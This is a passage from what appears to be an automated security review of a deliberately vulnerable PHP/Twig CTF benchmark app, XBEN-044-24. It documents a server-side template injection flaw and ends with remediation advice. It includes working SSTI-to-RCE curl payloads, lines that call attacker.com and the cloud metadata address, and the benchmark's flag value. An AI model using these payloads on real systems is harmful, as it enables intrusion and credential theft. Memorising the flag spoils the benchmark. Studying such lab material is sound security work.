The application has debug mode enabled but no comprehensive logging:

**Debug Mode Configuration:**
- **Location:** `/app/index.php` line 17
- **Setting:** `'debug' => true`
- **Impact:** 
  - ⚠️ Exposes detailed error messages to end users
  - ⚠️ Reveals file paths and code structure
  - ⚠️ Shows Twig template compilation errors
  - ⚠️ Information disclosure vulnerability

**Web Server Logging (Apache):**
- **Access Log:** `${APACHE_LOG_DIR}/access.log` (configured in `000-default.conf` line 21)
- **Error Log:** `${APACHE_LOG_DIR}/error.log` (line 20)
- **Format:** Combined log format (includes referrer, user agent)
- **Storage:** Inside container at `/var/log/apache2/` (ephemeral - lost on container restart)
- **Rotation:** Not configured
- **Retention:** Unlimited until container destroyed

**Security Event Visibility:**

What is logged:
- ✅ HTTP requests (IP, timestamp, method, path, status code)
- ✅ User agents and referrers
- ✅ Apache errors and PHP errors
- ✅ POST parameters may appear in access logs

What is NOT logged:
- ❌ Authentication events (no auth system exists)
- ❌ Authorization failures (no authorization system exists)
- ❌ SSTI exploitation attempts (no template injection detection)
- ❌ File access attempts
- ❌ Successful RCE executions
- ❌ Data exfiltration
- ❌ Command execution via SSTI

**Monitoring Infrastructure:** NONE

- No SIEM (Security Information and Event Management)
- No centralized logging
- No alerting system
- No anomaly detection
- No intrusion detection system (IDS)
- No intrusion prevention system (IPS)

**Health Checks:**
A basic health check is configured in `docker-compose.yml`:
```yaml
healthcheck:
  test: ["CMD", "curl", "-f", "http://127.0.0.1:8080/index.php"]
  timeout: 5s
  retries: 5
  interval: 5s
```
This only verifies HTTP availability, not security posture.

---

## 7. Overall Codebase Indexing

The XBEN-044-24 codebase demonstrates a deliberately minimalist architecture designed for CTF security training. The application consists of a single PHP entry point file (`index.php`) with 75 lines of code, leveraging the Twig template engine as its only dependency. This simplicity is intentional, focusing the attack surface on a specific vulnerability class (Server-Side Template Injection) while eliminating extraneous complexity.

**Directory Structure:**

```
XBEN-044-24/
├── .env                          # Plaintext flag storage
├── docker-compose.yml            # Container orchestration (port mapping 8081:8080)
├── Makefile                      # Build automation (local only, not network-accessible)
├── benchmark.json                # CTF metadata (win condition: flag extraction)
├── outputs/                      # Scanning results directory
│   └── scans/                    # External recon tool outputs (nmap, whatweb, subfinder)
└── app/                          # Application root (mapped to /var/www/html in container)
    ├── Dockerfile                # Multi-stage container build with flag injection
    ├── composer.json             # Single dependency: twig/twig 1.19.0
    ├── composer.lock             # Dependency lock file
    ├── index.php                 # **PRIMARY ATTACK SURFACE** - 75 lines, single entry point
    ├── templates/                # Template directory
    │   └── hello.html.twig       # Unused template with RCE proof-of-concept (not loaded)
    ├── vendor/                   # Composer dependencies (owned by www-data)
    │   ├── autoload.php          # PSR-0 autoloader
    │   ├── composer/             # Composer metadata
    │   └── twig/                 # Twig 1.19.0 framework
    │       └── twig/
    │           └── lib/          # 177 PHP files comprising Twig engine
    │               ├── Twig/Autoloader.php
    │               ├── Twig/Environment.php
    │               ├── Twig/Loader/String.php  # **VULNERABILITY ENABLER**
    │               ├── Twig/Extension/Sandbox.php  # Disabled at runtime
    │               └── ... (173 additional files)
    └── wwwconf/                  # Apache configuration
        ├── 000-default.conf      # VirtualHost: port 8080, DocumentRoot /var/www/html
        └── ports.conf            # Listen 8080, SSL module configuration (inactive)
```

**Build and Deployment Workflow:**

The application uses a multi-stage Docker build process with explicit user separation for security theater (though the sandbox removal negates this):
1. Base image: `php:8.0-apache` (Debian 11.8 Bullseye)
2. Create `appuser:1000` for build operations
3. Install Composer dependencies as `appuser`
4. Chown vendor directory to `www-data:www-data` (Apache runtime user)
5. Inject flag: `ARG FLAG` → `RUN echo $FLAG > /flag.txt`
6. Container exposes port 8080, mapped to host port 8081

**Dependency Management:**

The application uses Composer with a PSR-0 autoloader (legacy standard, replaced by PSR-4 in modern PHP):
- **Package Manifest:** `composer.json` (5 lines, single requirement)
- **Lock File:** `composer.lock` (2843 bytes, pinned version)
- **Autoloader:** `/vendor/autoload.php` (included on line 3 of `index.php`)

**Code Organization Impact on Security:**

1. **Single File Entry Point:** All application logic in one file makes it easy to audit but creates a single point of failure. The SSTI vulnerability exists at line 56 of the only executable code file.

2. **No Code Generation:** The application has no build-time code generation, metaprogramming, or dynamic class loading beyond Composer's autoloader. This eliminates hidden code paths.

3. **No Testing Framework:** No PHPUnit or testing infrastructure detected. The `vendor/twig/twig/test/` directory contains Twig framework tests, not application tests.

4. **Static Template Directory:** The `templates/` directory exists but is not used by the main application flow. The vulnerable code path uses `Twig_Loader_String` (which renders inline strings) rather than `Twig_Loader_Filesystem` (which would load `.twig` files).

5. **Convention Over Configuration:** Apache's default DocumentRoot behavior means `/index.php` is the default handler. No explicit routing configuration exists, simplifying discovery but providing no abstraction layer for security controls.

**Discoverability of Security-Relevant Components:**

The minimalist structure makes security components highly discoverable:
- ✅ **Authentication:** None exists (obvious from single 75-line file)
- ✅ **Input Validation:** Single `htmlspecialchars()` call on line 8
- ✅ **Template Rendering:** Twig initialization on lines 12-24, rendering on line 56
- ✅ **Sandbox Removal:** Explicit loop on lines 36-43
- ✅ **Configuration:** All settings in `new Twig_Environment($loader, [...])` array
- ✅ **Flag Storage:** Documented in Dockerfile and `.env` file

**Tools and Conventions:**

- **Build Tool:** `make` with targets for building and managing Docker containers
- **Container Runtime:** Docker/Podman compatible
- **Orchestration:** docker-compose for local development
- **Package Manager:** Composer (PHP standard)
- **Autoloading:** PSR-0 (legacy, but standard for Twig 1.x)
- **Code Style:** Inconsistent (mixing old PHP style with modern array syntax)

**Security Impact of Structure:**

The flat, single-file architecture eliminates many attack vectors (no complex routing to bypass, no middleware chains to circumvent) but concentrates risk in the one executable code path. The vulnerability is discoverable through:
1. Static analysis of `index.php` (Twig_Loader_String usage)
2. Reading Dockerfile (flag storage location)
3. Examining Twig configuration (sandbox removal)
4. Template file inspection (`hello.html.twig` provides RCE example)

This intentional design makes the challenge solvable through code review alone, though exploitation requires understanding Twig internals.

---

## 8. Critical File Paths

The following file paths are referenced throughout this analysis, organized by security relevance for manual review:

### Configuration

**Docker & Infrastructure:**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/docker-compose.yml` - Port mapping 8081:8080, health check configuration
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/Dockerfile` - Multi-stage build, flag injection (lines 30-31), user separation
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/.env` - **SENSITIVE:** Plaintext flag storage

**Web Server:**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/wwwconf/000-default.conf` - Apache VirtualHost, port 8080, no security headers
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/wwwconf/ports.conf` - Listen configuration, SSL module (inactive)

**CTF Metadata:**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/benchmark.json` - Win condition, challenge name

### Authentication & Authorization

**Status:** NOT APPLICABLE - No authentication or authorization mechanisms implemented in this application.

### API & Routing

**Application Entry Point:**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/index.php` - **PRIMARY ATTACK SURFACE**
  - Line 8: Input sanitization (`htmlspecialchars()`)
  - Line 12: Twig_Loader_String initialization (**VULNERABILITY ENABLER**)
  - Lines 16-24: Twig environment configuration (debug mode, sandbox settings)
  - Lines 40-42: Explicit sandbox removal (**CRITICAL VULNERABILITY**)
  - Line 56: Template rendering with user input (**SSTI VULNERABILITY**)
  - Lines 68-71: HTML form definition

**Template Files:**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/templates/hello.html.twig` - RCE proof-of-concept (line 8), **NOT loaded by application**

### Data Models & DB Interaction

**Status:** NOT APPLICABLE - No database connections or data models implemented in this application.

### Dependency Manifests

**Package Management:**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/composer.json` - Single dependency: `twig/twig: 1.19.0`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/composer.lock` - Dependency lock file with version pinning

**Autoloader:**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/vendor/autoload.php` - Composer PSR-0 autoloader

### Sensitive Data & Secrets Handling

**Flag Storage (CRITICAL):**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/.env` - Plaintext flag (line 1)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/Dockerfile` - Flag injection via build ARG (lines 30-31)
- `/flag.txt` (inside container) - Runtime flag storage, world-readable

**Encryption/Secrets:**
- **Status:** NOT APPLICABLE - No encryption or secret management mechanisms implemented

### Middleware & Input Validation

**Input Sanitization:**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/index.php` 
  - Line 8: `htmlspecialchars()` application (**INSUFFICIENT for SSTI prevention**)

**Template Security:**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/vendor/twig/twig/lib/Twig/Loader/String.php` - Deprecated loader (treats input as template source)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/vendor/twig/twig/lib/Twig/Extension/Sandbox.php` - Sandbox extension (removed at runtime)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/vendor/twig/twig/lib/Twig/Environment.php` - Template engine core (lines 266, 332, 363)

### Logging & Monitoring

**Web Server Logs:**
- `${APACHE_LOG_DIR}/access.log` (inside container) - HTTP access logs, combined format
- `${APACHE_LOG_DIR}/error.log` (inside container) - Apache/PHP error logs

**Application Logging:**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/index.php` - Line 17: Debug mode enabled (`'debug' => true`)

### Infrastructure & Deployment

**Build/Deployment:**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/Makefile` - Build automation (local only, not network-accessible)

**Network Configuration:**
- No Nginx, Kubernetes Ingress, or gateway configurations detected

### CTF Flag Storage (High-Value Intelligence)

**Flag Locations (All Plaintext):**
1. `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/.env` - Source of truth, line 1
2. `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/Dockerfile` - Build-time injection, lines 30-31
3. `/flag.txt` (container filesystem) - Runtime storage, accessible via RCE
4. Docker image history - Flag visible in build layers

**Flag Value:** `flag{af836647-517f-415a-a0a8-90b9bd2115e7}`

---

## 9. XSS Sinks and Render Contexts

### Network Surface Focus

This section catalogs XSS and injection sinks found **only in network-accessible components** (the main application endpoint `/index.php`). Excluded are vendor test files, build scripts, and the unused template file.

### Template Injection Sinks (Server-Side Template Injection - SSTI)

#### SINK #1: PRIMARY SSTI VULNERABILITY - Twig String Rendering with User Input

**Severity:** ⚠️ **CRITICAL** - Enables Remote Code Execution (RCE)

**Location:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/index.php`
- **Line:** 56
- **Context:** POST request handler

**Vulnerable Code:**
```php
echo $twig->render('<strong>' .  $name . ' is in stock! Come back and test another one. </strong>') . '<br/>Twig version: ' . $twig->render($twigVersion);
```

**Vulnerability Details:**

**Sink Type:** Server-Side Template Injection (SSTI) via `Twig_Environment::render()`

**Render Context:** Template string context - User input is treated as executable Twig template source code

**User Input Source:**
- **Parameter:** `$_POST['name']` (line 8)
- **Data Flow:**
  ```
  POST parameter 'name' 
      ↓
  isset() check (line 8)
      ↓
  htmlspecialchars() sanitization (line 8)
      ↓
  String concatenation into template (line 56)
      ↓
  Twig_Loader_String::getSource()
      ↓
  Twig_Environment::render() [EVALUATES EXPRESSIONS]
      ↓
  Remote Code Execution
  ```

**Sanitization Applied:** `htmlspecialchars()` on line 8
- Encodes: `<`, `>`, `&`, `"`, `'`
- **Does NOT encode:** `{{`, `}}`, `{%`, `%}`, `_self`, `.env`, `()`, `[]`

**Sanitization Bypass Mechanism:**
The `htmlspecialchars()` function is designed to prevent HTML injection (XSS) by encoding HTML special characters. However:
1. Twig template syntax (`{{`, `}}`) is not HTML and passes through unchanged
2. The sanitized input is then concatenated into a string passed to `Twig_Loader_String`
3. `Twig_Loader_String` interprets the entire string as template source code, not as data
4. Twig evaluates expressions like `{{7*7}}` or `{{_self.env.getFilter("system")}}` as executable code

**Critical Configuration Issues:**
- **Line 12:** Uses deprecated `Twig_Loader_String()` - treats input as template source
- **Line 22:** `'autoescape' => 'html'` - Only escapes HTML output, not template syntax
- **Lines 40-42:** Sandbox extension explicitly removed if present
- **Line 23:** `'optimizations' => 0'` - Disables security optimizations
- **Line 21:** `'strict_variables' => false'` - Allows undefined variable access

**Exploitability:** ✅ **DIRECT** - Fully exploitable without additional conditions

**Proof of Concept Payloads:**

1. **Template Evaluation Test:**
   ```bash
   curl -X POST http://localhost:8081/index.php -d "name={{7*7}}"
   # Expected output: "49 is in stock!"
   ```

2. **Environment Disclosure:**
   ```bash
   curl -X POST http://localhost:8081/index.php -d "name={{_self.env.getGlobals()}}"
   # Expected: Twig global variables and configuration
   ```

3. **Remote Code Execution - Command Execution:**
   ```bash
   curl -X POST http://localhost:8081/index.php -d "name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"
   # Expected: uid=33(www-data) gid=33(www-data) groups=33(www-data)
   ```

4. **Flag Extraction:**
   ```bash
   curl -X POST http://localhost:8081/index.php -d "name={{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('cat /flag.txt')}}"
   # Expected: flag{af836647-517f-415a-a0a8-90b9bd2115e7}
   ```

**Attack Vector Breakdown:**

The exploitation technique leverages Twig's internal methods:
1. `_self` - References the current template object
2. `_self.env` - Accesses the Twig_Environment instance
3. `registerUndefinedFilterCallback("system")` - Registers PHP's `system()` function as a filter callback
4. `getFilter("cat /flag.txt")` - Invokes the registered filter with the command as an argument
5. The `system()` function executes the shell command and outputs the result

**Impact:**
- ✅ Remote Code Execution as `www-data` user
- ✅ File system read access (can read `/flag.txt`)
- ✅ Command execution (can run arbitrary shell commands)
- ✅ Flag extraction (primary CTF objective)
- ✅ Potential container escape (if kernel vulnerabilities exist)

---

### Client-Side XSS Sinks

**Finding:** ❌ **No client-side XSS sinks found in network-accessible components**

**Analysis Performed:**
- ✅ Searched for JavaScript files: None found in `/app/` directory
- ✅ Searched for DOM manipulation: No `innerHTML`, `outerHTML`, `document.write`, `insertAdjacentHTML`
- ✅ Searched for inline JavaScript: No `<script>` tags with user-controlled content
- ✅ Searched for event handlers: No `onclick`, `onerror`, `onload` with user input

**HTML Output:** 
The application generates HTML output server-side via PHP `echo` statements (lines 56-75). While `htmlspecialchars()` would normally prevent reflected XSS, the SSTI vulnerability allows injecting arbitrary HTML/JavaScript through template expressions:

```bash
# Inject JavaScript via SSTI
curl -X POST http://localhost:8081/index.php -d "name={{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('echo <script>alert(1)</script>')}}"
```

This achieves the same result as client-side XSS (JavaScript execution in browser) but via server-side template injection.

---

### SQL Injection Sinks

**Finding:** ❌ **No SQL injection sinks found in network-accessible components**

**Analysis Performed:**
- ✅ Searched for database functions: No `mysqli`, `PDO`, `mysql_query`, `pg_query`, `sqlite_query`
- ✅ Searched for SQL keywords: No `SELECT`, `INSERT`, `UPDATE`, `DELETE` in application code
- ✅ Checked Dockerfile: `pdo_mysql` extension installed (line 9) but unused
- ✅ Verified: No database connection code in `/app/index.php`

**Note:** While the `pdo_mysql` extension is present, it could only be exploited via RCE through the SSTI vulnerability.

---

### Command Injection Sinks

**Finding:** ❌ **No direct command injection sinks found in network-accessible components**

**Analysis Performed:**
- ✅ Searched for: `exec()`, `shell_exec()`, `system()`, `passthru()`, `proc_open()`, `popen()`, `pcntl_exec()`
- ✅ Result: None found in `/app/index.php`
- ✅ Backtick operator: Not used in application code

**Indirect Command Execution:**
Command injection is achievable **only via the SSTI vulnerability** using the technique documented in SINK #1. The SSTI vulnerability allows registering PHP command execution functions as Twig filter callbacks.

---

### Other Injection Sinks

**Finding:** ❌ **No other injection sinks found**

Categories analyzed:
- ❌ **LDAP Injection:** No LDAP functions (`ldap_*`)
- ❌ **XML Injection:** No XML parsers with user input (`simplexml_*`, `DOMDocument`)
- ❌ **XPath Injection:** No XPath queries
- ❌ **CSV Injection:** No CSV generation
- ❌ **Log Injection:** Logs are Apache-managed (not manipulated by application code)
- ❌ **Header Injection:** No `header()` calls with user input

---

### Summary Table: XSS & Injection Sinks

| Sink ID | Type | Location | Line | Severity | Exploitability | Impact |
|---------|------|----------|------|----------|----------------|--------|
| **SINK-1** | SSTI | `/app/index.php` | 56 | CRITICAL | DIRECT | RCE, Flag Extraction |
| N/A | Client-Side XSS | N/A | N/A | N/A | N/A | None Found |
| N/A | SQL Injection | N/A | N/A | N/A | N/A | None Found |
| N/A | Command Injection (Direct) | N/A | N/A | N/A | N/A | None Found |

**Total Network-Accessible Sinks:** 1 (Server-Side Template Injection)

---

### Unused Template with RCE Payload (Out of Scope)

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/templates/hello.html.twig`
**Line:** 8
**Status:** ⚠️ **NOT LOADED** by the application (commented out on line 11 of `index.php`)

**Content:**
```twig
<h4>Current user:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}!</h4>
```

**Analysis:**
This template file contains a proof-of-concept RCE payload demonstrating the SSTI exploitation technique. However, it is **not part of the network-accessible attack surface** because:
1. The main application uses `Twig_Loader_String` (renders inline strings)
2. No code path loads templates from the `templates/` directory
3. Line 11 of `index.php` that would load this template is commented out

**Purpose:** Serves as exploitation guidance for penetration testers.

---

## 10. SSRF Sinks

### Network Surface Focus

This section catalogs Server-Side Request Forgery (SSRF) sinks found **only in network-accessible components** (the main application endpoint `/index.php`). Excluded are vendor libraries, test files, build scripts, and local-only utilities.

### Finding: No SSRF Sinks Detected

After comprehensive analysis of all network-accessible application code, **NO SSRF vulnerabilities were found**.

---

### Analysis Methodology

The following SSRF sink categories were systematically searched across all application code (excluding vendor libraries):

#### 1. HTTP(S) Clients
**Searched For:**
- `curl_init()`, `curl_exec()`, `curl_setopt()`, `curl_setopt_array()`
- `file_get_contents()` with URLs
- `fopen()` with URLs  
- `fsockopen()`, `pfsockopen()`
- Guzzle HTTP client, HTTPlug, or other HTTP libraries

**Result:** ❌ None found in `/app/index.php`

#### 2. URL Openers & File Includes
**Searched For:**
- `readfile($url)`
- `file($url)`
- `include()`, `require()`, `include_once()`, `require_once()` with variables
- `stream_context_create()` with URLs
- `socket_create()`, `socket_connect()`

**Result:** ❌ None found (only one static include on line 3: `include 'vendor/twig/twig/lib/Twig/Autoloader.php';`)

**Static Include Analysis:**
```php
// Line 3 of /app/index.php
include 'vendor/twig/twig/lib/Twig/Autoloader.php';
```
- **User Control:** NONE - Hardcoded path
- **SSRF Risk:** None - No user input influences include path

#### 3. XML/External Entity Processing
**Searched For:**
- `simplexml_load_*()` functions
- `DOMDocument::load*()` methods
- `XMLReader` with external sources
- `libxml_disable_entity_loader()`

**Result:** ❌ None found in application code

#### 4. Redirect & Location Headers
**Searched For:**
- `header("Location: ...")`
- `header("Refresh: ...")`
- Meta refresh tags

**Result:** ❌ None found - No redirect functionality

#### 5. Image/Media Processors
**Searched For:**
- ImageMagick functions (`imagick_*`)
- GD library functions (`imagecreatefrom*`, `getimagesize`)
- PDF generators with URL inputs
- Media conversion tools

**Result:** ❌ None found - No image processing

#### 6. API/Webhook Callers
**Searched For:**
- Webhook notification systems
- External API integration code
- Payment gateway calls
- Third-party service clients

**Result:** ❌ None found - No external API calls

#### 7. Template/View Fetchers
**Searched For:**
- Remote template loading (e.g., `Twig_Loader_Filesystem` with URLs)
- External view includes
- Asset fetchers from remote sources

**Result:** ❌ Application uses `Twig_Loader_String` (renders inline strings, no file/URL access)

**Important Note:** While the application uses `Twig_Loader_String`, this loader does NOT perform network requests or file system access. It renders the string directly as a template. The SSTI vulnerability allows RCE, but not SSRF.

#### 8. DNS Lookups
**Searched For:**
- `gethostbyname()`, `gethostbynamel()`
- `dns_get_record()`, `dns_get_mx()`
- Custom DNS resolution code

**Result:** ❌ None found in application code

---

### Template Engine Internal Analysis

**Twig_Loader_String vs. Twig_Loader_Filesystem:**

**Current Loader (in use):**
- **File:** `/app/vendor/twig/twig/lib/Twig/Loader/String.php`
- **Method:** `getSource($name)` - Returns the string directly
- **Network Access:** None - No HTTP requests or file operations
- **SSRF Risk:** None from this loader

**Alternative Loader (not used):**
- **File:** `/app/vendor/twig/twig/lib/Twig/Loader/Filesystem.php`
- **Method:** `getSource($name)` - Uses `file_get_contents()` internally (line 130)
- **Network Access:** Potentially yes if configured with URL wrappers
- **Status:** NOT USED in this application

**Twig Built-in Functions:**

The `source()` Twig function (available in `Twig_Extension_Core.php` line 1458) can read files:
```php
// In Twig_Extension_Core.php:1458
public function twig_source(Twig_Environment $env, $name) {
    return $env->getLoader()->getSource($name);
}
```

**Analysis:**
- With `Twig_Loader_Filesystem`, this could read arbitrary files
- With `Twig_Loader_String` (current), this function is not useful for SSRF
- **Status:** Function not exposed or called in application templates

---

### Potential SSRF via RCE (Indirect)

**Important Clarification:**
While the application has **no direct SSRF sinks**, an attacker who achieves RCE through the SSTI vulnerability could:

1. Execute `curl` or `wget` commands:
   ```bash
   POST /index.php
   name={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl http://attacker.com/")}}
   ```

2. Use PHP's `file_get_contents()` via RCE:
   ```bash
   POST /index.php
   name={{_self.env.registerUndefinedFilterCallback("file_get_contents")}}{{_self.env.getFilter("http://169.254.169.254/latest/meta-data/")}}
   ```

However, this is **RCE with SSRF capability**, not an **SSRF vulnerability**. The distinction is important:
- **SSRF Sink:** Application code that performs server-side requests influenced by user input
- **RCE → SSRF:** Using command execution to make requests (requires RCE first)

**For this report, we classify this as RCE/SSTI, not SSRF.**

---

### File Inclusion Analysis

**Include/Require Statements Found:**
```php
// Line 3 of /app/index.php
include 'vendor/twig/twig/lib/Twig/Autoloader.php';
```

**Security Assessment:**
- **Type:** Static include
- **Path:** Hardcoded string literal
- **User Control:** None
- **Local File Inclusion (LFI) Risk:** None
- **Remote File Inclusion (RFI) Risk:** None

**PHP Configuration:**
- `allow_url_include` status: Not configured in application (defaults to OFF in PHP 8.0)
- `allow_url_fopen` status: Not configured (defaults to ON, but no URL fopen calls exist)

---

### Summary Table: SSRF Sink Analysis

| Category | Functions Searched | Result | Risk Level |
|----------|-------------------|--------|------------|
| HTTP(S) Clients | `curl_*`, `file_get_contents`, `fopen` | ❌ Not Found | None |
| File Inclusion | `include`, `require` + variables | ❌ Only static include | None |
| XML Parsers | `simplexml_*`, `DOMDocument` | ❌ Not Found | None |
| Redirects | `header("Location:")` | ❌ Not Found | None |
| Image Processing | ImageMagick, GD functions | ❌ Not Found | None |
| API/Webhooks | HTTP client libraries | ❌ Not Found | None |
| Template Loaders | Twig file/URL loading | ❌ Uses String loader only | None |
| DNS Lookups | `gethostbyname`, `dns_*` | ❌ Not Found | None |

---

### Application Data Flow (No SSRF Paths)

**Complete Request Flow:**
```
User Input (POST 'name')
    ↓
isset() check
    ↓
htmlspecialchars() sanitization
    ↓
String concatenation
    ↓
Twig_Loader_String rendering (NO NETWORK REQUESTS)
    ↓
HTML output to user
```

**No Outbound Network Requests Detected**

---

### File Paths Referenced (SSRF Analysis)

**Application Files Analyzed:**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/index.php` (Lines 1-76)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/templates/hello.html.twig` (Not loaded - excluded)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/composer.json`

**Framework Files (Reference):**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/vendor/twig/twig/lib/Twig/Loader/String.php`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/vendor/twig/twig/lib/Twig/Loader/Filesystem.php` (Not used)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/vendor/twig/twig/lib/Twig/Extension/Core.php` (Line 1458)

**Configuration Files:**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/docker-compose.yml`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/wwwconf/000-default.conf`

---

### Conclusion

**No SSRF sinks exist in the network-accessible components of this application.**

The application:
- ✅ Makes no outbound HTTP/HTTPS requests
- ✅ Does not fetch remote resources
- ✅ Does not process user-supplied URLs
- ✅ Does not perform DNS lookups based on user input
- ✅ Uses only static file includes with hardcoded paths
- ✅ Employs `Twig_Loader_String` which does not access files or URLs

**Indirect SSRF Potential:**
SSRF capabilities can be achieved **after** exploiting the SSTI vulnerability to gain RCE, but this is a consequence of RCE, not a standalone SSRF vulnerability.

**For penetration testing purposes:** Focus on the SSTI→RCE attack path (documented in Section 9) rather than SSRF techniques.

---

## Recommendations for Future Security Enhancements

While this is a CTF challenge designed to be vulnerable, if this were a production application, the following changes would be recommended:

1. **Replace Twig_Loader_String:** Use `Twig_Loader_Filesystem` with a whitelist of allowed templates
2. **Enable Sandbox:** Remove the sandbox removal code (lines 40-42) and enforce strict sandbox policies
3. **Upgrade Twig:** Update to Twig 3.x with all security patches
4. **Disable Debug Mode:** Set `'debug' => false'` in production
5. **Input Validation:** Implement strict input validation blocking template syntax characters
6. **Add Authentication:** Implement user authentication if endpoints should be protected
7. **Implement HTTPS:** Configure SSL/TLS for encryption in transit
8. **Security Headers:** Add CSP, X-Frame-Options, HSTS, etc.
9. **Remove Unused Extensions:** Uninstall `pdo_mysql` if not needed

---

**Report Completed:** 2025-01-30  
**Application:** XBEN-044-24 CTF Challenge  
**Analysis Type:** Comprehensive Security-Focused Code Review for Penetration Testing  
**Primary Vulnerability:** Server-Side Template Injection (SSTI) → Remote Code Execution (RCE)  
**Exploitation Complexity:** LOW - Single POST parameter to flag extraction  
**Attack Surface:** 1 network-accessible endpoint, 1 exploitable sink  

**Win Condition:** Extract flag from `/flag.txt` via SSTI→RCE exploitation chain.

## Authenticated Scans

### SCHEMATHESIS
Status: skipped
No API schemas found

---
Report generated at: 2025-10-30T23:07:15.150Z